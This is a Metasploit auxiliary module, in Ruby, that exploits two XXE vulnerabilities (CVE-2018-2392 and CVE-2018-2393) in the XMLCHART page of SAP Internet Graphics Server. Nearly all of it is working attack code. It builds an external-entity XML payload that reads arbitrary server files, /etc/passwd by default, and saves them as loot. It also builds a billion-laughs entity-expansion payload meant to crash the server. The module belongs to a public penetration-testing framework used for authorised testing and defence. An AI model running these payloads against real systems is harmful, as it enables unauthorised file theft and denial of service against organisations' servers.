Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'SAP Internet Graphics Server (IGS) XMLCHART XXE',14'Description' => %q{15This module exploits CVE-2018-2392 and CVE-2018-2393, two XXE vulnerabilities within the XMLCHART page16of SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53. These17vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when18submitting a POST request to the XMLCHART page to generate a new chart.1920Successful exploitation will allow unauthenticated remote attackers to read files from the server as the user21from which the IGS service is started, which will typically be the SAP admin user. Alternatively attackers22can also abuse the XXE vulnerability to conduct a denial of service attack against the vulnerable23SAP IGS server.24},25'Author' => [26'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability27'Vladimir Ivanov' # @_generic_human_ This Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2018-2392' ],32[ 'CVE', '2018-2393' ],33[ 'URL', 'https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf' ]34],35'Actions' => [36[ 'READ', { 'Description' => 'Remote file read' } ],37[ 'DOS', { 'Description' => 'Denial Of Service' } ]38],39'DefaultAction' => 'READ',40'DefaultOptions' => {41'SSL' => false # Disable SSL (by default SAP IGS does not use SSL/TLS)42},43'DisclosureDate' => '2018-03-14',44'Notes' => {45'Stability' => [CRASH_SAFE],46'SideEffects' => [IOC_IN_LOGS],47'Reliability' => []48}49)50)51register_options(52[53Opt::RPORT(40080),54OptString.new('FILE', [ false, 'File to read from the remote server', '/etc/passwd']),55OptString.new('URIPATH', [ true, 'Path to the SAP IGS XMLCHART page from the web root', '/XMLCHART']),56]57)58end5960def setup_xml_and_variables61@host = datastore['RHOSTS']62@port = datastore['RPORT']63@path = datastore['URIPATH']64@file = datastore['FILE']65if datastore['SSL']66@schema = 'https://'67else68@schema = 'http://'69end70@data_xml = {71name: Rex::Text.rand_text_alphanumeric(12),72filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",73data: nil74}75@data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>76<ChartData>77<Categories>78<Category>ALttP</Category>79</Categories>80<Series label="#{Rex::Text.rand_text_alphanumeric(6)}">81<Point>82<Value type="y">#{Rex::Text.rand_text_numeric(4)}</Value>83</Point>84</Series>85</ChartData>)86@xxe_xml = {87name: Rex::Text.rand_text_alphanumeric(12),88filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",89data: nil90}91end9293def make_xxe_xml(file_name)94entity = Rex::Text.rand_text_alpha(5)95@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>96<!DOCTYPE Extension [<!ENTITY #{entity} SYSTEM "#{file_name}">]>97<SAPChartCustomizing version="1.1">98<Elements>99<ChartElements>100<Title>101<Extension>&#{entity};</Extension>102</Title>103</ChartElements>104</Elements>105</SAPChartCustomizing>)106end107108def make_post_data(file_name, dos: false)109if !dos110make_xxe_xml(file_name)111else112@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>113<!DOCTYPE Extension [114<!ENTITY dos 'dos'>115<!ENTITY dos1 '&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;'>116<!ENTITY dos2 '&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;'>117<!ENTITY dos3 '&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;'>118<!ENTITY dos4 '&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;'>119<!ENTITY dos5 '&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;'>120<!ENTITY dos6 '&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;'>121<!ENTITY dos7 '&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;'>122<!ENTITY dos8 '&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;'>123]>124<SAPChartCustomizing version="1.1">125<Elements>126<ChartElements>127<Title>128<Extension>&dos8;</Extension>129</Title>130</ChartElements>131</Elements>132</SAPChartCustomizing>)133end134135@post_data = Rex::MIME::Message.new136@post_data.add_part(@data_xml[:data], 'application/xml', nil, "form-data; name=\"#{@data_xml[:name]}\"; filename=\"#{@data_xml[:filename]}\"")137@post_data.add_part(@xxe_xml[:data], 'application/xml', nil, "form-data; name=\"#{@xxe_xml[:name]}\"; filename=\"#{@xxe_xml[:filename]}\"")138end139140def get_download_link(html_response)141if html_response['ImageMap']142if (download_link_regex = html_response.match(/ImageMap" href="(?<link>.*)">ImageMap/))143@download_link = download_link_regex[:link]144else145@download_link = nil146end147else148@download_link = nil149end150end151152def get_file_content(html_response)153if (file_content_regex = html_response.match(/^<area shape=rect coords="0, 0,0, 0" (?<file_content>[^\b]+?)>\r\n$/))154@file_content = file_content_regex[:file_content]155else156@file_content = nil157end158end159160def send_first_request161# Send first HTTP request162begin163first_response = nil164first_response = send_request_cgi(165{166'uri' => normalize_uri(@path),167'method' => 'POST',168'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",169'data' => @post_data.to_s170}171)172rescue StandardError => e173print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")174vprint_error("Error #{e.class}: #{e}")175return -1176end177178# Check first HTTP response179if first_response.nil? || first_response.code != 200 || !(first_response.body.include?('Picture') && first_response.body.include?('Info')) || !first_response.body.match?(/ImageMap|Errors/)180return -2181end182183if first_response.body.include?('Errors')184return -3185end186187first_response188end189190def analyze_first_response(html_response)191get_download_link(html_response)192if !@download_link.to_s.empty?193194# Send second HTTP request195begin196second_response = nil197second_response = send_request_cgi(198{199'uri' => normalize_uri(@download_link),200'method' => 'GET'201}202)203rescue StandardError => e204print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@download_link}")205vprint_error("Error #{e.class}: #{e}")206return -1 # Some exception was thrown whilst making the second HTTP request!207end208209# Check second HTTP response210if second_response.nil? || second_response.code != 200 || !second_response.body.include?('area shape=rect')211return -2 # Response from second HTTP request was not what was expected!212end213214get_file_content(second_response.body)215return 0216else217return -3 # Download link could not be found!218end219end220221def check222# Set up variables223os_release = ''224os_release_file = '/etc/os-release'225226# Set up XML data for HTTP request227setup_xml_and_variables228make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release229# so that the module can check if the target is vulnerable or not.230231# Get OS release information232check_response = send_first_request233if check_response == -1234Exploit::CheckCode::Safe('The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')235elsif check_response == -2236Exploit::CheckCode::Safe('The server sent a response but it was not in the expected format. The target is likely patched.')237else238if check_response == -3239vprint_status("The SAP IGS server is vulnerable, but file: #{os_release_file} not found or not enough rights.")240else241result = analyze_first_response(check_response.body)242243# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.244if result == -1 || result == -3245Exploit::CheckCode::Safe('The server did not respond to the second request in the expected manner and is therefore safe')246elsif result == -2247Exploit::CheckCode::Unknown('Some connection error occurred and it was not possible to determine if the server is vulnerable or not')248end249250if !@file_content.to_s.empty?251if (os_regex = @file_content.match(/^PRETTY_NAME.*=.*"(?<os>.*)"$/))252os_release = "OS: #{os_regex[:os]}"253end254else255return Exploit::CheckCode::Safe("#{@host} did not return the contents of the requested file, aka #{os_release_file}. This host is likely patched.")256end257end258# Make ident259if os_release != ''260ident = "SAP Internet Graphics Server (IGS); #{os_release}"261else262ident = 'SAP Internet Graphics Server (IGS)'263end264# Report Service and Vulnerability265report_service(266host: @host,267port: @port,268name: 'http',269proto: 'tcp',270info: ident271)272report_vuln(273host: @host,274port: @port,275name: name,276refs: references,277info: os_release278)279# Print Vulnerability280if os_release == ''281Exploit::CheckCode::Vulnerable("#{@host} returned a response indicating that its XMLCHART page is vulnerable to XXE!")282else283Exploit::CheckCode::Vulnerable("#{@host} running #{os_release} returned a response indicating that its XMLCHART page is vulnerable to XXE!")284end285end286end287288def run289case action.name290when 'READ'291action_file_read292when 'DOS'293action_dos294else295print_error("The action #{action.name} is not a supported action.")296end297end298299def action_file_read300# Set up XML data for HTTP request301setup_xml_and_variables302make_post_data(@file, dos: false)303304# Download remote file305first_response = send_first_request306if first_response == -1307fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')308elsif first_response == -2309fail_with(Failure::UnexpectedReply, 'The server sent a response but it was not in the expected format. The target is likely patched.')310else311# Report Service and Vulnerability312report_service(313host: @host,314port: @port,315name: 'http',316proto: 'tcp',317info: 'SAP Internet Graphics Server (IGS)'318)319report_vuln(320host: @host,321port: @port,322name: name,323refs: references324)325# Get remote file content326if first_response == -3327print_status("The SAP IGS server is vulnerable, but file: #{@file} not found or not enough rights.")328else329result = analyze_first_response(first_response.body)330# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.331if result == -1332fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the second request and did not respond in the expected manner.')333elsif result == -2334print_error('The server responded successfully but the response indicated the server is not vulnerable!')335return336elsif result == -3337print_error('The server responded successfully but no download link was found in the response, so it is not vulnerable!')338return339end340341if !@file_content.to_s.empty?342vprint_good("File: #{@file} content from host: #{@host}\n#{@file_content}")343loot = store_loot('igs.xmlchart.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XMLCHART XXE')344print_good("File: #{@file} saved in: #{loot}")345else346print_error("Failed to get #{@file} content!")347end348349end350end351end352353def action_dos354# Set up XML data for HTTP request355setup_xml_and_variables356make_post_data(@file, dos: true)357358# Send HTTP request359begin360dos_response = nil361dos_response = send_request_cgi(362{363'uri' => normalize_uri(@path),364'method' => 'POST',365'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",366'data' => @post_data.to_s367}, 10368)369rescue Timeout::Error370print_good("Successfully managed to DOS the SAP IGS server at #{@host}:#{@port}")371372# Report Service and Vulnerability373report_service(374host: @host,375port: @port,376name: 'http',377proto: 'tcp',378info: 'SAP Internet Graphics Server (IGS)'379)380report_vuln(381host: @host,382port: @port,383name: name,384refs: references385)386rescue StandardError => e387print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")388vprint_error("Error #{e.class}: #{e}")389end390391# Check HTTP response392fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200393end394395end396397398